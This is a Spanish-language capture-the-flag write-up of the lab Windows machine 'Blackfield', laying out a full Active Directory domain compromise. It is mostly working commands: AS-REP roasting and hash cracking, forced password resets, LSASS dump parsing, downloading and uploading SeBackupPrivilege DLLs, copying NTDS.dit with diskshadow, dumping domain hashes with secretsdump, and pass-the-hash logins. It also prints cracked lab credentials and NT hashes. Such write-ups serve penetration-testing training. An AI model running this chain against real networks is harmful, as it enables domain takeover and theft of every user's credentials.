Blackfield

Publicado: 27 de Junio de 2025 Autor: José Miguel Romero aKa x3m1Sec Dificultad: ⭐ Hard OS: Windows
📝 Descripción
Blackfield es una máquina Windows de nivel Hard que presenta un entorno de Active Directory complejo y desafiante. Esta máquina está diseñada para poner a prueba habilidades avanzadas de pentesting en entornos empresariales Windows, incluyendo técnicas de reconocimiento de AD, explotación de privilegios específicos de Windows y escalada de privilegios mediante abuso de funcionalidades del sistema operativo.
La máquina simula un controlador de dominio corporativo con múltiples servicios expuestos, incluyendo SMB, LDAP, Kerberos y WinRM. El vector de ataque inicial requiere un enfoque meticuloso de enumeración para descubrir usuarios válidos del dominio y explotar configuraciones débiles de autenticación.
Objetivos de Aprendizaje:
Enumeración avanzada de servicios de Active Directory
Técnicas de AS-REP Roasting para obtener hashes de autenticación
Explotación de permisos específicos de AD (ForceChangePassword)
Análisis forense de volcados de memoria LSASS
Abuso del privilegio SeBackupPrivilege para escalada de privilegios
Extracción y análisis de la base de datos NTDS.dit
🎯 Información General
Atributo
Valor
Nombre
Blackfield
IP
10.10.10.192
Dificultad
Hard
OS
Windows Server 2019
Puntos
40
Creador
adf11
📊 Resumen de la Explotación
🔗 Cadena de Ataque
graph TD
A[🔍 Reconocimiento inicial] --> B[🗂️ Enumeración SMB con sesión nula]
B --> C[👥 Extracción de usuarios via RID Brute Force]
C --> D[🎫 AS-REP Roasting - Usuario support]
D --> E[🔓 Cracking offline → support:#00^BlackKnight]
E --> F[🩸 Análisis con BloodHound]
F --> G[🔄 Abuso ForceChangePassword → audit2020]
G --> H[📂 Acceso al recurso SMB forensic]
H --> I[🧠 Análisis de volcado LSASS con pypykatz]
I --> J[🔑 Extracción hash NT svc_backup]
J --> K[💻 Acceso WinRM como svc_backup]
K --> L[🎫 Identificación privilegio SeBackupPrivilege]
L --> M[💾 Creación VSS y extracción NTDS.dit]
M --> N[🔓 Extracción hashes con secretsdump]
N --> O[👑 Pass-the-Hash como Administrator]
🎯 Puntos Clave
Vector inicial: Enumeración SMB sin autenticación
Técnica crítica: AS-REP Roasting para obtener primer acceso
Escalada lateral: Abuso de permisos AD (ForceChangePassword)
Análisis forense: Extracción de credenciales desde volcado LSASS
Escalada final: Explotación de SeBackupPrivilege para acceso total
🛠️ Herramientas Utilizadas
Herramienta
Propósito
nmap
Reconocimiento y enumeración de puertos
smbclient
Enumeración de recursos SMB
netexec
Enumeración de usuarios y recursos
impacket
Ataques AS-REP Roasting y Kerberoasting
bloodhound
Análisis de rutas de ataque en AD
pypykatz
Análisis de volcados de memoria LSASS
evil-winrm
Shell interactivo en Windows via WinRM
hashcat
Cracking de hashes
🔭 Reconocimiento
🏓 Ping para verificación en base a TTL
❯ ping -c2 10.10.10.192
PING 10.10.10.192 (10.10.10.192) 56(84) bytes of data.
64 bytes from 10.10.10.192: icmp_seq=1 ttl=127 time=44.6 ms
64 bytes from 10.10.10.192: icmp_seq=2 ttl=127 time=47.6 ms
--- 10.10.10.192 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1011ms
rtt min/avg/max/mdev = 44.611/46.095/47.579/1.484 ms
💡 Nota: El TTL cercano a 128 sugiere que probablemente sea una máquina Windows.
🚀 Escaneo de puertos
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.192 | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)
echo $ports
53,88,135,389,445,593,3268,5985
🔍 Enumeración de servicios
nmap -sC -sV -p$ports 10.10.10.192 -oN services.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-26 19:34 CEST
Nmap scan report for 10.10.10.192
Host is up (0.046s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-06-27 00:36:07Z)
135/tcp open msrpc Microsoft Windows RPC
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-06-27T00:36:11
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: 7h01m55s
⚠️ Añadimos el siguiente vhost a nuestro fichero /etc/hosts:
echo "10.10.10.192 blackfield.local" | sudo tee -a /etc/hosts
📋 Análisis de Servicios Detectados
53
DNS
Servicio DNS del dominio
88
Kerberos
Autenticación del dominio
135
MSRPC
Llamadas a procedimientos remotos
389/3268
LDAP
Directorio activo
445
SMB
Recursos compartidos
593
RPC over HTTP
Llamadas RPC via HTTP
5985
WinRM
Administración remota Windows
🔥 Servicios críticos identificados:
SMB (445): Potencial acceso a recursos compartidos
LDAP (389): Información del directorio activo
Kerberos (88): Posibles ataques AS-REP/Kerberoasting
WinRM (5985): Shell remoto si obtenemos credenciales
🌐 Enumeración de Servicios
🗂️ SMB (Puerto 445) - Acceso Inicial
Ya que no disponemos de credenciales, comenzamos tratando de enumerar posibles recursos mediante una sesión nula:
📁 Enumeración de recursos compartidos
smbclient -N -L //10.10.10.192
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
forensic Disk Forensic / Audit share.
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
profiles$ Disk
SYSVOL Disk Logon server share
netexec smb 10.10.10.192 -u 'anonymous' -p '' --shares

👥 Enumeración de usuarios
netexec smb 10.10.10.192 -u 'anonymous' -p '' --rid-brute 2>/dev/null | awk -F '\\' '{print $2}' | grep 'SidTypeUser' | sed 's/ (SidTypeUser)//' > Users.txt
Administrator
Guest
krbtgt
DC01$
audit2020
support
BLACKFIELD764430
BLACKFIELD538365
[... usuarios truncados por brevedad ...]
svc_backup
lydericlefebvre
PC01$
PC02$
[... más usuarios ...]
📝 Nota: Se identificaron más de 300 usuarios del dominio mediante RID brute force.
Nos conectamos al recurso profiles$ y descargamos el contenido en nuestro host de ataque, pero tras revisarlo no encontramos nada de interés:
smbclient //10.10.10.192/profiles$ -N -c "recurse ON; prompt OFF; mget *"

🎫 Ataques de Autenticación Kerberos
🎯 AS-REP Roasting
Verificamos si alguno de los usuarios obtenidos no tiene habilitada la pre-autenticación de kerberos y podemos realizar un ataque de tipo AS-Rep Roasting:
impacket-GetNPUsers -dc-ip 10.10.10.192 blackfield.local/ -usersfile Users.txt -format hashcat

🎉 ¡Éxito! Encontramos que la cuenta support no tiene la pre-autenticación de kerberos habilitada y logramos obtener un ticket.
Alternativa usando kerbrute:
kerbrute userenum --dc 10.10.10.192 -d BLACKFIELD.local ./users.txt --downgrade

🔓 Cracking del Hash

Procedemos a intentar crackearlo usando hashcat y rockyou.txt:
hashcat -m 18200 -a 0 support_kerberos_hash /usr/share/wordlists/rockyou.txt

🔑 Credencial obtenida: support:#00^BlackKnight
🎪 Verificación Kerberoasting
Intentamos sin éxito un ataque de kerberoasting:
impacket-GetUserSPNs blackfield.local/support:'#00^BlackKnight' -dc-ip 10.10.10.192 -request
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
No entries found!
🩸 Análisis con BloodHound
📊 Recolección de Datos
Ahora que disponemos de una cuenta unida al dominio con credenciales, usamos bloodhound-python para obtener un mapeo del dominio:
Es importante realizar una configuración adicional introduciendo el nombre de la máquina y el FQDN en /etc/hosts
:

bloodhound-python -u 'support' -p '#00^BlackKnight' -d blackfield.local -c All --zip -ns 10.10.10.192
🔍 Análisis de Rutas de Ataque
Al cargar los datos en bloodhound vemos que el usuario support tiene el privilegio ForceChangePassword sobre el usuario audit2020:

🔄 Escalada Lateral - Abuso de ForceChangePassword
💡 Explotación del Privilegio
Primero intentamos usar bloodyAD, pero falla debido a restricciones LDAP:
bloodyAD -u 'support' -p '#00^BlackKnight' -d blackfield.local --dc-ip 10.10.10.192 set password audit2020 'Password123!'
Error: LDAPBindException: LDAP Bind failed! Result code: "invalidCredentials"
🛠️ Métodos Alternativos
Método 1: Comando net
net rpc password audit2020 -U 'support' -S 10.10.10.192
Método 2: Comando rpcclient
rpcclient -U 'blackfield.local/support%#00^BlackKnight' 10.10.10.192 -c 'setuserinfo2 audit2020 23 "Password123!"'

📂 Acceso al Recurso Forensic
Una vez cambiada la contraseña, verificamos acceso a recursos compartidos:
netexec smb 10.10.10.192 -u audit2020 -p 'Password123!' --shares

🎯 ¡Acceso obtenido! Tenemos permisos de lectura sobre el recurso forensic.
🕵️ Análisis Forense
📥 Descarga de Archivos
Nos conectamos al recurso forensic y descargamos el contenido:
smbclient \\\\10.10.10.192\\forensic -U "audit2020"
# O alternativamente:
sudo mount -t cifs //10.10.10.192/forensic /mnt/forensic -o 'username=audit2020,password=Password123!'

🗂️ Estructura de Archivos Encontrados
commands_output: Volcados de comandos ejecutados en la máquina
memory_analysis: Archivos comprimidos con volcados de memoria
tools: Herramientas como sysinternals y volatility
🧠 Análisis del Volcado LSASS
El archivo más crítico encontrado es lsass.zip
:
unzip lsass.zip
🔧 Uso de pypykatz
Instalamos y usamos pypykatz para analizar el volcado:
pip3 install pypykatz
pypykatz lsa minidump lsass.DMP > resultados.txt

🔑 Extracción de Hashes
svc_backup
9658d1d1dcd9250115e2205d9f48400d
✅ Válido
DC01$
b624dc83a27cc29da11d9bf25efea796
❌ Inválido
Administrator
7f1e4ff8c6a8e6b6fcae2d9c0572cd62
❌ Inválido
💻 Acceso Inicial al Sistema
🏃 Conexión WinRM
Utilizamos el hash válido de svc_backup para conectarnos:
evil-winrm -i 10.10.10.192 -u 'svc_backup' -H '9658d1d1dcd9250115e2205d9f48400d'


🏁 Primera Flag
*Evil-WinRM* PS C:\Users\svc_backup\Desktop> type user.txt
[USER FLAG OBTENIDA]
📋 Enumeración de Privilegios

En el directorio C:\
encontramos un archivo notes.txt
con información adicional.

Información crítica identificada:
✅ Pertenece al grupo Backup Operators
✅ Tiene el privilegio SeBackupPrivilege habilitado
🎁 Escalada de Privilegios - Abuso de SeBackupPrivilege
💡 Concepto del Ataque
El privilegio SeBackupPrivilege
permite realizar copias de seguridad de archivos críticos del sistema:
SYSTEM
(Clave de registro del sistema)SAM
(Security Account Manager)NTDS.dit
(Base de datos de Active Directory)
📋 Preparación del Entorno
Paso 1: Crear script VSS para montar copia de volumen:
cat > vss.dsh << 'EOF'
set context persistent nowriters
set metadata c:\\Windows\\Temp\\test.cab
set verbose on
add volume c: alias test
create
expose %test% z:
EOF
unix2dos vss.dsh
Paso 2: Descargar DLLs necesarias:
wget https://github.com/k4sth4/SeBackupPrivilege/raw/refs/heads/main/SeBackupPrivilegeCmdLets.dll
wget https://github.com/k4sth4/SeBackupPrivilege/raw/refs/heads/main/SeBackupPrivilegeUtils.dll
Paso 3: Transferir archivos al host víctima:
upload vss.dsh c:\\Temp\\vss.dsh
upload SeBackupPrivilegeCmdLets.dll c:\\Temp\\SeBackupPrivilegeCmdLets.dll
upload SeBackupPrivilegeUtils.dll c:\\Temp\\SeBackupPrivilegeUtils.dll
💾 Extracción de la Base de Datos NTDS
Paso 4: Ejecutar script VSS:
*Evil-WinRM* PS C:\Temp> diskshadow /s c:\\Temp\\vss.dsh
Paso 5: Extraer archivos críticos:
# Importar módulos de SeBackupPrivilege
*Evil-WinRM* PS C:\Temp> Import-Module .\SeBackupPrivilegeCmdLets.dll
*Evil-WinRM* PS C:\Temp> Import-Module .\SeBackupPrivilegeUtils.dll
# Copiar NTDS.dit desde la copia de volumen
*Evil-WinRM* PS C:\Temp> Copy-FileSeBackupPrivilege z:\\Windows\\ntds\\ntds.dit c:\\Temp\\ntds.dit
# Extraer claves de registro SYSTEM
*Evil-WinRM* PS C:\Temp> reg save HKLM\SYSTEM SYSTEM.SAV
🔓 Extracción de Todos los Hashes
Descargamos los archivos críticos a nuestro host atacante:
download ntds.dit
download SYSTEM.SAV
Utilizamos impacket-secretsdump
para extraer todos los hashes del dominio:
impacket-secretsdump -ntds ntds.dit -system SYSTEM.SAV -hashes lmhash:nthash LOCAL > hashes_blackfield_domain

👑 Acceso como Administrator
🔥 Pass-the-Hash Final
Con el hash NT del Administrator extraído, realizamos el ataque final:
evil-winrm -i 10.10.10.192 -u 'Administrator' -H '184fb5e5178480be64824d4cd53b99ee'
🏆 Flag Final
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
[ROOT FLAG OBTENIDA]
Last updated